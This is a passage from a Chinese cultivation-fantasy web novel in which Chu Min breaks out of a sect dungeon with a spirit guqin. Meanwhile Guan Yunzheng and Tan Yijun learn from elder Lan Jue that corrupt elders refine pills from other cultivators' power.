楚悯莫名被他这话逗笑了:“那你有能破开锁灵阵的东西吗?” 叶泯垂头丧气:“没有。” 他这次是跟哥哥一起来的,重要的东西哥哥会带,他的乾坤袋里都是些无甚大用的小物件,拿出来逗楚悯开心还差不多,破阵简直是天方夜谭。 楚悯的笑意竟没有一触而散,她仍旧笑着:“我有。” 叶泯惊得从火堆边窜起来:“真的?!” 被他放在膝上的夜明珠伴随着他的动作滚落在地,骨碌碌地滚回了原来的主人身前,照亮了那一小片。 只见楚悯从乾坤袋中捧出了……一张古琴。 借着火光与夜明珠的光亮,叶泯得以看清了那张琴的全貌,无端觉出眼熟的意味来,仿佛在哪见过似的。 伴随着楚悯拨动琴弦的动作,这种熟悉感越发强烈起来,仿佛自琴弦倾泻而出的,不是楚悯弹奏的曲子而是其他的什么……来自灵兽派的东西。 只见楚悯先信手拂了一遍琴弦,像是在同老朋友交谈一般,动作轻缓,眼神专注。 连一直在噼啪作响的木柴都停止了响动,叶泯甚至不由得放轻了呼吸。 “铮”一声琴弦响动,楚悯毫无预兆地换了一种技法弹奏,琴弦短促而有力地被她拨动,火焰无风自动,在琴声中狂乱地晃动起来。 楚悯的乾坤袋中有这样的乐器存在,将他们困在地牢的人怎会没有察觉? 那些长老被他撞破了阴谋,又默认了楚悯是他的同伙,不把他们灭口都不错了,怎么还会给他们留活路? 难道并非是长老处理的此事…… 火光大盛,火苗突兀地窜起了两尺多,叶泯悚然回神,差点被火苗燎上脸,下意识往后仰靠,被冰冷的墙壁磕到了后脑勺。 然而预料之中的疼痛感却没有到来,他与墙壁之间似乎隔了一层极薄的屏障,为他挡下了这点钝痛。 地牢之中应当没有别人,否则早就被他们的动静惊扰了,不会如此安静,因此他不做他想,这屏障一定出自楚悯的手笔。 火光映照之下,楚悯终于弹完了她的曲子,淡然地抬起了手,将琴放在膝头。 熟悉的“噼啪”声再度响起,这次却不是木柴发出的,而是…… 响在了四面八方! 叶泯站直了身子:“楚姑娘,这里是不是要塌了?” 楚悯默然抱着琴站起身,将夜明珠收回了乾坤袋中。 轰然巨响。 叶泯目瞪口呆地看着被彻底炸开的地牢。 夜明珠确实该收进乾坤袋里,因为那点荧光与眼前的天光大亮相比,已经不够看了。 **** “什么动静?”关云铮敏锐地一偏头。 谭一筠正在翠屏山入口处校验弟子身份,闻言回过头来看了她一眼:“怎么了?” 一队外门弟子装束的人匆匆从台阶上走下来,经过谭一筠时迭声同他打招呼,关云铮往侧边走了一步,避让开来:“你没听见?” 身份校验通过,谭一筠对着负责的同门点了点头,领着关云铮往上走:“听见什么?” 关云铮精神状态绝佳,不认为方才那动静来自于自己精神压力过大导致的幻听,故而暂且将此事按下没提:“他们是下山换岗的弟子?” 谭一筠点点头:“对,山下巡视的队伍两个时辰一换。” 关云铮若有所思:“都是外门弟子的话,如果闹事者有修为高的修士,该如何处理?” 谭一筠将拿着折扇的手背在身后:“不全是外门弟子,不过内门弟子一般不会被编入巡视队伍中,大多都在山下城中各处伺机而动。” “譬如你这样看热闹不嫌事大的?”关云铮凉声回应。 谭一筠对她弯了弯眼睛:“姑娘这是哪里话,我们难道不是已经握手言和了吗?” 关云铮哼笑一声,没跟他计较。 “近日仙门大比,山下城中鱼龙混杂,据其他师兄弟所说,鬼灯楼的人似乎也在其间。”谭一筠一面同匆匆经过的人们打着招呼,一面对身后的关云铮说道。 鬼灯楼…… 关云铮捕捉到了自己思绪这短暂一瞬的脱节,默不作声地把这怪异的感觉按下:“你怀疑是邪修做的?” “原本我确实是这么想的,”谭一筠叹了口气,“可诚如你所说,我派中权力体系复杂,有心之人若想借此丹药,在仙门大比中博得榜上有名,倒也不是不可能。” 关云铮挑眉:“你对自己门派,不是很信任啊。” 谭一筠抬手捏了捏眉心:“方才你同那人交手后赶来的小队之首,那位姓崔的弟子,是同我交好的一位师弟,近日同我提起过门中几位长老的怪异举动。” “你师弟好正直。”联想到之前在茶摊时,那姓崔的弟子处理事情的态度,关云铮不由得感慨了一句。 谭一筠苦笑:“我倒是希望他不这么正直。” 正直没有错,但正直的人未必能得到同样正直的对待,关云铮明白谭一筠的意思,却无从宽慰,只能跟着叹了口气。 两人无言跨过余下漫长的台阶,终于见到了翠屏山的正门。 谭一筠皱起眉头:“怎么乱成这样?” 正门之后便是堪称巨大的演武场,此刻密密挨挨地站满了人,全都在七嘴八舌地讨论着什么。半空中还有不少剑修在急速地御剑来去,像是嫌弃地上太过拥堵所以选择了空中航道,结果也被堵了个水泄不通,险些发生空中交通事故。 关云铮默默后退了一步:“乱成一锅粥了,要不趁热喝了吧。” 又一名弟子匆匆而过,被谭一筠一把薅住了,吓了一跳,看清他的脸后才反应过来:“谭师兄。” 谭一筠难得没在别人说话后礼尚往来,直截了当地问道:“出什么事了?” 那弟子急得一脑门的汗:“外门弟子院塌了,各长老正在急召弟子们回来,我也是去传话的。” 传话?用传音符不就好了?急糊涂了?站在两人身后的关云铮不解。 谭一筠对着人点了点头,松开了抓着他袖子的手:“我知道了,多谢,路上小心。” 待到那弟子沿着台阶急速而下后,谭一筠才转过身看向关云铮:“看来你方才听见的动静,就来自外门弟子院。”—— 作者有话说:来了来了[撒花] 第123章 叶泯没想到这地牢之上就是房屋, 更没想到这一招的威力如此巨大,竟将地上这成片的房屋全都震塌了,站在巨大的深坑中久久不能回神。直到神情平淡的楚悯抱着琴从他身边走过, 才猛地自思绪中抽身:“楚姑娘, 这……” 楚悯对他点了点头:“第一次用琴音作为武器,有些不熟练, 见笑了。” 叶泯:“……”你管这叫不熟练? 那古琴看着就是天生地长成的, 之前在地牢中光线昏暗他还没看出来,此刻出得地牢,终于看清了古琴的全貌,迟来地明白了自己为何会对这东西感到眼熟了。 这不是他们灵兽派那张对人爱答不理的琴吗?! 什么时候到楚姑娘手上了?! 他的惊愕全然写在脸上,楚悯却没注意到,她向上环顾了一圈:“此处应当是弟子住处地下, 方才地牢被炸开,才震塌了地上房屋。” 叶泯在惊愕之中茫然地点了点头。 只听楚悯接着说道:“翠屏山近日仙门大比, 弟子们怎么都不在屋内?”她似乎是想到了什么,又自言自语似的, “也对。” 叶泯出离茫然了:对什么? 楚悯收回向上打量周遭的视线:“你不是说你的灵兽丢了吗?还不去找?” 这话终于叫醒了犹在震惊的叶泯:“对, 我得去找灵犀。” 好在地牢并不在房屋的正下方,塌陷的房屋没有砸中他们,反倒给他们向上攀爬离开深坑提供了落脚点。楚悯把琴往乾坤袋中一收, 挑了个方位, 不作声地向上攀爬。 叶泯紧随其后,虽然他尚且不知自己为何会落得此番境地,但在林中跳跃攀爬的记忆仍在,他落后楚悯几步,反而比她更快, 一出深坑立刻丢下随身带着的鞭子,将攀爬至半途的楚悯拉了上来。 折腾出这么大动静,就算这些弟子全都不在院中,也差不多该赶来了,两人一出深坑便不敢耽搁,快速找了条相对僻静的小路,一面朝外走一面低声交流着。 原本叶泯觉得楚姑娘说得对,他们二人被视作同伙是因为穿着同样的校服,但看到她的古琴时他又有了新的想法:也许是因为他们身上有着同样的灵气来源? 他手中的埙虽看着不惹眼,但到底还是出自灵兽派的乐器,与楚姑娘手中的古琴算是同源而生,一定具备相同的灵气来源,若是那些长老做事稍微谨慎些,应当会在抓他二人时探查一番周身灵气,没准便会探查出此事。 这样一来,楚姑娘会被他连累倒也变得更为合情理了,毕竟灵兽派来的不止他一个,旁人自然会以为他们是同伴。 不对,这些人分明是行恶事,要合哪门子的情理?行恶事根本就不在情理之内了! 叶泯这么一会儿工夫又把自己给想生气了,回过神来才发现楚悯已经堂而皇之地来到了一处尚未垮塌的屋子面前,推开了房门,从中找出了两套能穿的弟子校服。 “你怎知里面没人?”楚悯寻到的校服比他们身上的略微宽松些,虽然是逃命关头,叶泯还是干不出在姑娘面前宽衣解带的事,索性将翠屏山的弟子外衣往身上一披,胡乱地理了理,遮掩住里头校服的痕迹后又问道,“又怎知里头有你我能穿的校服?” 楚悯也没脱身上的校服,快速穿好衣服后说道:“琴音告诉我的。” 叶泯感觉自己今日一番昏睡把头脑睡坏了,怎么楚悯说什么他都反应不过来似的,此刻重又陷入茫然:“琴音?琴不是被你收进乾坤袋了吗?” 这样逃命的时刻,楚悯却被他的反应逗笑了:“自然是收进乾坤袋之前听到的。” 其实不是。 虽然她也不知道自己为何会有这样一张琴,但就在她灵气受限,无法通过卜算获得对周边环境的感知时,她感受到了它的存在。 正如叶泯所说,那时的琴也分明仍在乾坤袋中,她却仿佛能够听见自琴弦上传来的嗡鸣声,那嗡鸣声似有若无,像是拂在她的耳畔,离奇的是,竟还与火焰的舞动,木柴的噼啪声相和,仿佛那琴在无人自动地弹奏着一支由火焰与燃声谱就的曲子。 那一瞬间,纵然坐在她身侧的叶泯毫无所觉,但她心中几乎已是天翻地覆。 她过往习惯了卜算,有时初次接触一些自己过往不曾了解过的人或物,都得先卜上一卦,然后才能装出闲庭信步的样子,面对陌生环境的紧张感才能稍缓。 方才的环境不仅陌生,还阴暗可怖,她依赖的卜算却无法施为,因此虽面上看着云淡风轻,实则一颗心已在胸中打了许久的退堂鼓,咚咚作响个不停。骤然听见那琴音,她就像是个跋涉千里而来,被洞府拒之门外的旅人,在无意间寻到了能叩开门扉的敲门砖。 茅塞顿开。 万物皆有其运行法则,人也好,物也罢,其中必有可被勘破的“律”,她曾坐井观天,自认为天下唯有卜算可勘尽万事万物,被这琴音一敲,才蓦然回首,原来风也有声音,火焰也有声音,噼啪作响的木柴更是有其不可忽视的声音…… 而这些声音,都是“律”,是灵气受限之时,卜算也卜不出的“律”。 那琴音似有若无,却仿佛钟鼓般浑厚,洞府之门訇然中开,终于向她这个跋涉许久的旅人默然相迎。 原来这就是……大音希声。 **** 谭一筠像是天生长就两幅面孔,面对不算紧急的事态时,一句话里要带两个“姑娘”,里头的“之乎者也”令学塾的先生也自愧不如。 可一旦事态到了紧急的程度,他脸上那套仿佛焊上去的温和儒雅就不见了,话里的啰嗦也全都褪去,变成了个说话行事干脆利落的性格,彻头彻尾地像个外门弟子人人尊敬的“谭师兄”了。 关云铮冷眼旁观,本来持着缺德乐子人的心态,想看谭一筠如何处理师门“监守自盗”的行为,此刻忽然对事态会走向何方好奇起来。 她虽然从来自诩缺德乐子人,但也始终见不得赤诚之心被辜负,善良但不无谓天真之人被社会荼毒,故而一时之间有几分替谭一筠发起愁来。 要真是与你相熟的长老,你敬重爱戴之人搞出的这么一出,你该如何自处,又该如何面对此事呢? 她还没想出几种可能,只见练武场上纷乱的人群忽然整肃起来,一部分人自发地向两侧退避,让出了一条足以过三人的通路,人群尽头走出一个青色衣裳的女人来。 身侧的谭一筠忽然松了一口气似的,绷紧了的双肩不自觉垮了一半,对着来人道:“师父。” 关云铮眉尾一跳。 她习惯性地先目测了一番此人的身高,又下意识地换算成现代单位,发觉她不算很高,个子大约在一米六到一米六五之间,周身气场也十分随和,一眼打量下来,似乎只有眼尾那点微不足道的细纹能证明,她不在寻常弟子的年纪,是个“大人”。 关云铮的目光一触即收,在对方感到冒犯之前便收回视线,作揖道:“见过前辈。” 被她称作前辈的人笑起来:“我这徒弟啰嗦得很,这一路没少烦你吧?” 咩? 关云铮没料到她会说出这么一句,险些反应不过来,因为听不出是客气还是真话,她正思忖着是否要在人家师父面前给这话痨描补两句,便听眼前这位说道:“兰珏,翠屏山长老,虽然前辈这称呼也怪规矩的,但总归比长老顺耳,就这么叫吧。” 兰珏自我介绍完,又笑眯眯地看了她一会儿:“姑娘叫什么名字?” “晚辈关云铮,是……”按说接下来该介绍她的师承,可她竟一时没想起来自己师从何处,难不成她真是个散修?那她又是从哪学的功夫?难道她这懒癌晚期的性格还能自学成才吗? 她的停顿只有短短一瞬,还没想清楚自己的记忆究竟出了什么偏差,嘴上已经丝滑接上了方才断的话茬:“是个江湖散修。” 兰珏点了点头:“那怎么被我这徒弟带上山来了?” 谭一筠被自家师父晾在一边半天,杵得一脸无言,这时才找到插话的空隙,在一旁解释道:“关姑娘在山下与人起了些争执,受了伤,我带她上山诊治。” 兰珏看他一眼:“那叫打了一架,你起争执能受伤?” 谭一筠默然摇头:他确实不能,但眼前这位关姑娘没准真可以。 兰珏懒得埋汰他,看向关云铮道:“严重吗?我看看?” 关云铮汗颜,分明是被谭一筠抓上山查丹药的事,或许是在师门家门口不好说这话,才用她受伤一事作为借口,可她伤都好了,能给人师父看什么? 对上兰珏殷切的视线,关云铮只能伸出右手,向她展示上面那点早就愈合的小口子。 兰珏仔细端详了一番她的伤口,意味深长道:“是得带上山诊治,不然早都好了。” 关云铮感觉自己的汗都快具象化了。 好在兰珏是开玩笑的,并没有真的追究,转身说道:“先带关姑娘去寻个屋子住下吧。” 与关云铮相比,她才像是那个真正的缺德乐子人,因为她说完这话后竟又转过身说道:“放心,我那边的屋子还没塌。” **** 换上翠屏山弟子的校服后,楚悯和叶泯二人行踪上便无需太过谨慎,毕竟把他们关进地牢的是某位长老,并非这些弟子。 也不对,应当确有他人参与了关押二人一事,不然也无法解释长老为何不收缴他们的乾坤袋。 叶泯方才一直跟不上楚悯的思绪,此刻一面走,一面思绪纷飞着,倒还没忘了对楚悯说出自己关于灵气来源的猜测。 楚悯对灵兽派产乐器一事有些了解,大约知道自己的琴并非凡品,估计也来自灵兽派,但自己有个猜测,和灵兽派弟子亲自认下还是有些差距的,因此听完这些话后不由有些出神。 究竟是何时得到的琴呢……为何自己一丝印象也无? 叶泯说完自己的猜测,又检查了一番身上外衣遮掩得严不严实,扭头对楚悯说道:“楚姑娘,我得去找灵犀了,你是……愿意随我同去,还是要一人留在此地?” “用你方才在地牢中说的法子?”楚悯问道。 叶泯迟疑了一瞬:“似乎确实行不通。” 毕竟接下来翠屏山大概会召回外出的弟子,人一多,那点乐声激起的浪花便越大,想要风平浪静地将灵犀找回来几乎是天方夜谭。 左右楚悯无事可做,索性跟上他的脚步:“既如此,我便同你一起吧,兴许能从琴音中感知到灵犀所在方位。” 两人穿着弟子校服光明正大地往翠屏山后山的方向开溜,同时心里都有种怪异的感觉,仿佛此情此景在某个时刻发生过一般,还不止发生过一次。 奇怪,叶泯心想,难道他什么时候同楚姑娘一起喂过灵犀吗?这又是何时的记忆? 一旁的楚悯则将这点异常轻拿轻放地搁置了,想起一些别的事来。 虽说如今有了琴音为引,她不再因凡事都要卜卦而显得遇事瞻前顾后,但她面对不明的态势时,还是忍不住做最坏的打算。 譬如真正把他们关押进地牢的其实是某个做事有所疏漏的弟子,因为脏事做的不多还没习惯,所以不曾将乾坤袋收缴。 但这也就意味着他们找来的这两套校服并不是全然安全的,万一他们迎面遇上那做事粗心的弟子…… 楚悯回头看向叶泯:“会障眼法吗?” 叶泯一愣,坦诚道:“略懂皮毛。” 楚悯朝他面色平静地一点头,到了此刻下颌也依旧是放松的,浮现出一种泰山崩于前不动声色的淡然来:“皮毛足够了。” 两人七手八脚地给自己的面貌施了个十分皮毛的障眼法,互相端详一番,确认与真正的模样相去有些远了,才真正放心下来。虽然障眼法这一术法颇看人脸色,遇见境界高些的修士就是白瞎,但足够他们在如今这混乱的局势里鱼目混珠了。 好在翠屏山家大业大,内门外门各种流派能把天问甩出几里地去,路上遇见不少神色匆匆的弟子身上带着乐器,两人越发有恃无恐,楚悯索性将琴又拿了出来抱在怀里。 她看着淡然,实则在混乱之中心跳未曾平息过哪怕一瞬,唯有怀中的琴沉沉地硌在心头时,那震耳欲聋的心跳声才能稍缓。 卜算时她“无依无靠”,龟甲也好,铜钱蓍草也罢,都不是什么值得人托付的东西,是以她卜算时从未对结果抱有过期待,算出什么来她似乎都能接受,都能用“时也命也运也”这样啰里八嗦的理由将自己说服。 但如今她凭借琴音“卜算”,这抱在怀中颇具分量的东西顿时成了她的倚仗,好像非得将它放在眼皮子底下才能安心似的。 一时之间也不知道她到底是开悟了还是在原地打转,怎么好像心态越来越回去了。 “有了。”那种若有似无的琴音又缠上了她的耳畔,她在瞬息之间抛下所有杂念,第一时间顺应了那琴音的指引,调转了方向,“应该是你的灵兽。” 叶泯一路跟在她身后没主动开过口,此时忽然说道:“我自己去吧。” 楚悯回过头诧异地看了他一眼。 这一瞬间,不知她从叶泯的神情中看懂了什么,只见她没多追问,从乾坤袋中摸出了几张“寻踪”:“我只在给物件打上过‘示踪’时用过此法,功力不足,不知仅‘寻踪’能否发挥作用。” 她闭上眼,不知默念了些什么,总归是给手中这沓符纸做了个加持,这才伸手将其交给叶泯:“跟着它走吧,希望不会有错。” **** 练武场上乱得一塌糊涂,兰长老本人看着却十分悠闲自在,好像跟徒弟之间有信息差,对门内发生的腌臜事一无所知似的。可既然那姓崔的外门弟子都知道此事,没道理这个内门弟子的师父却一无所知,那岂不太两耳不闻窗外事了吗? 直到作为“伤患”的关云铮被师徒两人带到一处僻静院子,走在前头的兰珏才开口说道:“丹药的事先不急。” 果然。看来方才一路也是碍着在自家门中,所以才闭口不言的?关云铮走在两人身后,眼观鼻鼻观心地想。 谭一筠早就习惯了自家师父的不着调,原本也不是很急,但此事不知为什么,总像是坠在他心头的一块大石似的,有一下没一下地敲打着他的胸腔,让他觉得胸口闷震,不大舒服,总想迫切地将此事解决,好让自己松快一会儿。 兰珏看出他心事重重,二话不说抬手往他眉心打了道清心诀:“急也没用,别老皱个眉头,看着比我年纪都大。” 眉心骤然没入一道清心诀,一瞬间,谭一筠什么杂念都没了,劲头过去后才在心里腹诽:这师父还有没有个师父样了! 兰珏从怀里摸出个瓷药瓶,递给关云铮:“将手上的伤口擦擦吧。” 关云铮一脸心虚地把药瓶接过来,握在手里的瞬间却一愣。 这形状和触感……为何这么熟悉? 兰珏像是没注意到她的异常似的,自己先在院中桌边坐下了:“至于外门弟子院塌陷……这事确实值得急上一急。” 谭一筠被清心诀打得一点都急不起来,平静地接过话茬:“外门弟子院地下有地牢,此事我一直知道,今日是关进去什么了不得的人,将地上的房屋都震塌了?” 弟子院地下有地牢?好小众的文字。 关云铮感觉自己听到这话很难思维定势,下意识觉得这地牢平时是拿来关押“不听话”的弟子的。 能随意关押弟子的外门……长老若是干出“监守自盗”的事来,好像也不奇怪。 不过她作为一个连自己来历都说不清楚的“江湖散修”,这师徒俩会不会也太不把她当外人了,怎么什么都往外说? 兰珏明面上是个翠屏山的长老,背地里却好像巴不得翠屏山倒霉似的,听了自己徒弟的话反而十分满意地点点头:“确是地牢崩毁,震塌了地上房屋,不过我并不知其中关的究竟是谁。” 这说了跟没说一样的说话劲儿莫名像她认识的某个人,关云铮坐在桌边百思不得其解,不知道这个“某人”究竟姓甚名谁。 她旋出瓷瓶的瓶塞,正要用左手帮着给右手抹点药,动作间什么东西钻出了左侧的袖口,在她眼皮子底下同她打了个花里胡哨的招呼。 是个……好看得花里胡哨的镯子。 之前在山下动手都没能钻出来求得存在感的东西,怎么这时候抬个手的工夫就冒出头来了? 关云铮心头疑云太多,但总不好攥着别人给的药瓶发呆,只好先把镯子怼回袖子里,专心给指尖抹了点药。 她抹药时很有几分真心,也就全然没有察觉到兰珏落在她身上的目光。那目光好像带着点友好的探究,瞬息之后又变成了熟稔的了然,在她身上一触即收,收回视线的兰珏又成了个嘴上没把门的不靠谱师父。 谭一筠虽然不急了,但也是满腹心事,同样没注意到,只接着说道:“总不会是那些人做了脏事被人察觉,抓了人要灭口……” 他“口”字说了一半,尾音已在看清自己师父的脸色后被吞了下去:“真是如此?他们疯了吗?” 兰珏忽然收起自己方才笑嘻嘻的神色,柳眉微蹙,正色道:“小筠,你知道他们是用什么炼的丹吗?” 正要将瓶塞旋回瓶口的关云铮心里忽的一突。 只听兰珏冰凉地说道:“是修为。”—— 作者有话说:越写越多可还行……总之这章先发了,接下来不是隔日更就是隔两日更,前者就是没到六千就结尾了,后者就是超六千了,加更章另外算() 第124章 短短三个字, 听得在场两位年轻修士不寒而栗,血里像结了冰。 修为之于修士,就像活气之于凡民, 不论怎样的凡民身上都有活气, 只是存在或多或少的区别。日子过得好些的活气便盛,吃不饱穿不暖身体每况愈下的, 活气便衰微。 修为也是同样。入门者修为低微, 境界越高修为也越高,但同时,修为损耗带来的后果也就越严重。 一座砖石堆砌起来的屋子,若是骤然垮塌,要重新搭建耗费的工夫并不比初次多;若是金玉高楼一朝塌落……要从头再来可就难多了。 故而用修为炼丹这事在恶事的基础上,依旧存在着可小可大的区别, 全看这些修为来自……什么样的修士。 谭一筠自从得知门中有长老在做这样下作的事,便一直想当然地以为, 是用人的血与精气炼丹,就像邪修中的一部分丹修一样, 压根没想过这些人行恶事根本没有底线, 不仅要杀害普通人,还胆大包天地要杀害修士! 他承认自己在桃花源待久了,不仅很不知民间疾苦, 还颇有些事不关己的孤傲, 此言一出,犹如打在他脸上的一耳光,把他心里那点孤傲刮散了。原来此处根本不是桃花源,事情也始终与他自己息息相关,没法做到事不关己地抽身。 话说到这份上, 他完全没法不想到方才在山下城中遇到的那人,顿时脸色都白了:“近日山下闹事的修士都被巡视的弟子们带到哪了?” 在这当口上,兰珏终于没再继续说风凉话,沉稳道:“暂时没出事。” 她一会儿像是对许多事一无所知,一会儿又像是一切尽在掌握,关键关云铮还觉得她这副模样眼熟极了,一时都有点无语了:她上哪儿认识了个和兰珏这么像的人?一年三百六十五天得被ta气三百六十天吧? 被腹诽的人不会读心,自然不知她在想些什么,为了安抚自己徒弟似的接着说道:“你也不要急于这一时,想着立刻去监察的地方,把那些人捞回来,当心打草惊蛇。” 谭一筠虽看着已很是稳重,但到底是少年心气,在师父面前更是有了人兜底,说话都变得横冲直撞起来:“既然已经确定了是谁有问题,草在门中,蛇也在门中,有什么打不得的?” 闻言,关云铮无端长出十多岁似的,在心里感慨了一句:真年轻啊。 兰珏没急着训斥他,只面色和善地问道:“你当门中人都是你这样的打蛇人吗?” 关云铮作为个半道上山的外人,知道自己不该在人家讨论“家事”的时候多嘴,便一直安静着当鹌鹑。按说以她的性子早该尴尬了,可不知究竟是因为什么,或许是兰珏身上那种莫名的熟悉感,或许是她脸皮日渐厚了,总之她没觉得丝毫不自在,反而在师徒二人对面认真听了起来。 人家先不遮掩的,她听一听也没什么吧? 谭一筠的师父是朵出淤泥而不染的奇葩,看她的性格,料想在长老之中大约不会很合群,想必谭一筠作为她的徒弟,也没少见识身居高位之人之间,那点不可为外人道的龃龉。 故而兰珏此言一出,谭一筠立时便懂了,脸色顿时更难看了几分:“师父……” 兰珏见他明白了,也不再多说,一拂袖变出一套茶具来,先给一直闷不做声的关云铮倒了一杯:“这是我们这的竹叶茶,尝尝。” 关云铮应了声好,双手接过茶盏,又忽然想到“筠”似乎就是竹子的意思,不由有些会心一笑的感觉。 师父姓兰,弟子叫竹子,两人占了四君子的一半,难怪要当孤独的打蛇人。 “不过你崔师弟……”兰珏忽而又说道。 兰珏的清心诀效力非同小可,谭一筠这段时间心中燃起的任何情绪,都在清心诀的作用下烧成了毫无气焰的灰,此刻听了这话也没有像在关云铮面前那样,瞬间流露出为师弟操心的神色,反而十分平静地接话:“崔师弟怎么了?” “他既不得已要为人办事,就不该对你又将事捅出去,心眼太实,恐怕没有好下场。”兰珏毫不留情地点评道。 这一瞬间她的情态几乎是完全抽离的,关云铮默然旁观,发觉此刻她与自己熟悉的那个人相去甚远,冷静得有些……接近冷血了。 谭一筠罕见地没接话。 关云铮是个不忍心看人话茬掉在地上的冤种,便试探着说道:“但既已知此事,何不将崔师弟调离,或是想个法子让他暂时跟着谭兄?” 她说到这已自觉不妥,便又改口道:“也是,会打草惊蛇,不是良策。” 兰珏反而弯了弯眼睛,笑道:“未尝不可。” **** 灵兽也有修为,这事叶泯自然知道。与后天修成的修士不同,灵兽的修为是娘胎里带的,带壳还是长毛都不影响,生下来就有,大约是一个修士筑基之初的水平——毕竟飞禽走兽遍地,能被称作“灵兽”的只是凤毛麟角,自然如同所谓的“天才”一般,是先天就有大能耐的物种。 只是人群中的天才会“慧极必伤”,太聪明的大多活不长,灵兽却不会,修为越高的灵兽寿命越长,只不过这也要看灵兽的性子,有些灵兽不愿受人驱使,修为高灵智也高,想不开的时候会自尽。 灵犀是他从一条小蛇开始养大的,它母亲鼎盛时期有灵犀如今身型的两倍大,一甩尾能拦腰截断两人合抱粗的树干,爬行时整座鹧鸪山中都能听见动静。 只是人会阴沟里翻船,灵兽也有因流年不利倒霉的,按说蛇都是卵生,生崽时多半不会发生什么意外,没想到灵犀是个卵胎生的,蛋揣在肚子里,生下来却已经是小蛇了。 这意外令它母亲生产时难产,灵兽派发觉山中不对劲赶到时,那母亲已经活不成了。 那是叶泯此生第一次见灵兽落泪。 向来都说蛇类的血是冷的,酷暑时喜欢宿在冰冷的山泉水中,数九寒天时还要冬眠,因为冷的血无法维持体温。 可那天叶泯乍见灵兽落泪,一时之间觉得蛇的血兴许也没多冷,毕竟人长大后都不大流泪了,身体里流的血怕是也早都凉透了。 灵犀母亲生它时很是艰难,期间大约还受了其他走兽的暗算,弥留之际气力不足,顾不上将它身上裹着的胎||衣尽数剥去,只来得及将孩子托付给了自己从未信任过的一群人,闭上眼时,沾了眼泪的鳞片仍在日光下潋滟生辉。 也正因此,灵犀没见过它的生身母亲。它被剥去胎||衣睁开眼时,见到的就是叶家兄弟。 一张“寻踪”再一次自燃成了灰烬,一小撮灰落在了他的鞋面上。叶泯回过神来,意识到这上面的灵气也已经因为追踪耗尽了。 起初他和楚姑娘下意识往后山的方向走,现如今看“寻踪”这一路,却越来越像要下山的意思。下山的路比起进山可就清楚多了,毕竟他还记得自己和哥哥就是从这条路上山来的。 至于他为何会跟哥哥走散……这事他到现在也没想明白,只是这一路边走边琢磨,到底还是记起了一点昏睡前的事。 似乎是听到了那几个长老模样的人,说什么“丹药”? 灵兽派中没几个丹修,他对这一道所知甚少,当时听得简直云里雾里。而人又很难记住自己无法理解的事物,所以哪怕他努力回想了一路,也只记起那几人话中出现相对较多的词。 正是“修为”。 修为和丹药,能有什么关系?难道是说修为高些的丹修炼出的丹药更为上乘? 但这不是废话么,谁会不知道? 叶泯颇为苦恼地皱起眉,第无数次意识到自己被家里保护得太好了,遇事除了一筹莫展竟没有别的应对方式,忍不住叹了口气。 他认命地拿起最后一张“寻踪”,用了点灵气托了一把,让它在前头带路。谁料那符纸飘飘忽忽地飞出去一段,忽的在空中停下了。 找到灵犀了? 叶泯的眼睛亮了起来,从腰后抽出了短鞭攥在手中,向着“寻踪”悬停的位置走去。 这一路过来,脚下的路起初铺着石板,过了一段变成了脚踩出来的土路,及至此刻,他脚下的路面已经狭窄得只能容纳一人走过,像是条人迹罕至的小径。 这样看来,灵犀大约确实是落在恶人手中了,这鬼鬼祟祟的行事风格与把他和楚姑娘关在地牢相比,实在是难分伯仲。 他谨慎地将仍在发挥追踪之用的“寻踪”收回怀中,探出身子向外看了一眼。 路尽头拐了个弯,没入了不甚亮堂的昏暗里,他这一探头才发现,那里是个十分不惹眼的石洞,此刻黑黢黢的洞口外无人把守,正是他上前救人……救蛇的好时机。 **** 兰珏高人做派十足地撂下一句“未尝不可”后,就去外门弟子院看热闹……不是,帮忙了。 她仙气飘飘地走了,留下谭一筠和关云铮两个小的在桌边面面相觑。 “既如此,要不我们再下山一趟,把你那师弟看牢了?”关云铮其实有自己的打算,但不好插手别人的计划,只好含混不清地问了这么一句。 谭一筠这才回魂似的,茫然地看了她一会儿才说道:“我……”他好半晌没开口,这一嗓子差点劈了,咳了声才接着往下说,“虽说他们有将修为炼成丹药的意思,但到底是尚未实施,不然师父应该也早就出手了,既然如此,也没必要同崔师弟整日待在一起,反而惹人生疑。” 关云铮无端受了他师父一番好意,手里还捏着那瓷瓶,此刻也说不出什么反驳的话,相当配合地顺着说道:“那接下来做什么去?” 谭一筠对上她的目光,预感到自己接下来的话说完,关云铮估计要翻脸,有些心虚地摸了摸鼻子:“山上没有这样的地方容他们折腾丹药,估计窝点还在山下。” 关云铮果然听不到一半就朝他翻了好大一个白眼,站起身就往外走:“我就说了还得下山。” 谭一筠连忙拿着扇子跟上:“关姑娘,此事恐怕多有危险,你……” 关云铮回头看了他一眼:“你怎么那么啰嗦?我都已经半个身子在贼船上了,这时候要跳船不也太晚了吗?” 莫名其妙师承就变成“贼船”的谭一筠只好无奈地笑:“也是。” 从小院出去又得经过练武场,不知是不是长老们终于有了动作,练武场上此刻空无一人,仿佛方才没地下脚的场面只是关云铮的错觉。 她莫名觉得心里打了个突,好像有什么大事在她不知道的角落发生了一样,一时几乎有些惴惴不安。 只是独身在外,轻易地流露出不安并不是什么好事,她只好面不改色地把这点情绪压了下去,转向身后的谭一筠问道:“你们门派中的外门内门是如何界定的,只看水平吗?” 谭一筠被她一句话问得有几分汗颜,还在琢磨措辞,关云铮已经从他脸色中得出问题的答案了,了然地一点头:“明白了,那难怪。” 长恨人心不如水,等闲平地起波澜。[注] 更何况这还不是平地呢,不起波澜才怪。 “既然是用修为作为原料,那消耗应当不小,这段时间山下有这么多修士闹事吗?”关云铮回头看向谭一筠。 话一出口,她就意识到自己又思维定势,问了个蠢问题。 既然都能用活生生的人当炼丹的原材料了,是不是闹事的人又有什么所谓? 人吃猪肉的时候,也不会在乎猪有没有犯法的。 见她脸色微微变化,谭一筠便明白自己无需多言了,但还是忍不住苦笑着说道:“其实内门和外门这些年里界限逐渐变得不甚分明,掌门也早有将两边合为一体的想法……” 只是到底还是不一样的。 沉疴积弊,岂是这几年的“想法”就能改变的。 谭一筠也知道这话苍白无力,叹道:“总之还是先查探一番附近的可疑之处吧。” **** 楚悯虽然答应了叶泯,不随他一同前去解救灵兽,但其实并未彻底走远,而是找了个三面隐蔽的角落坐下,在乱哄哄的周遭里强行辟出了一块清净地,开始一点点缕清自己方才感受到的琴音。 叶泯方才的眼神她很是熟悉,里头不加掩饰地展露出一种被保护得太好的少年,迫切想要靠自己解决事态的心绪。 他有兄长,武艺似乎也稀松平常,想必家中对他并不苛责;有灵兽,也有傍身的技艺,说明家里并没有全然放他自流,教导依旧。 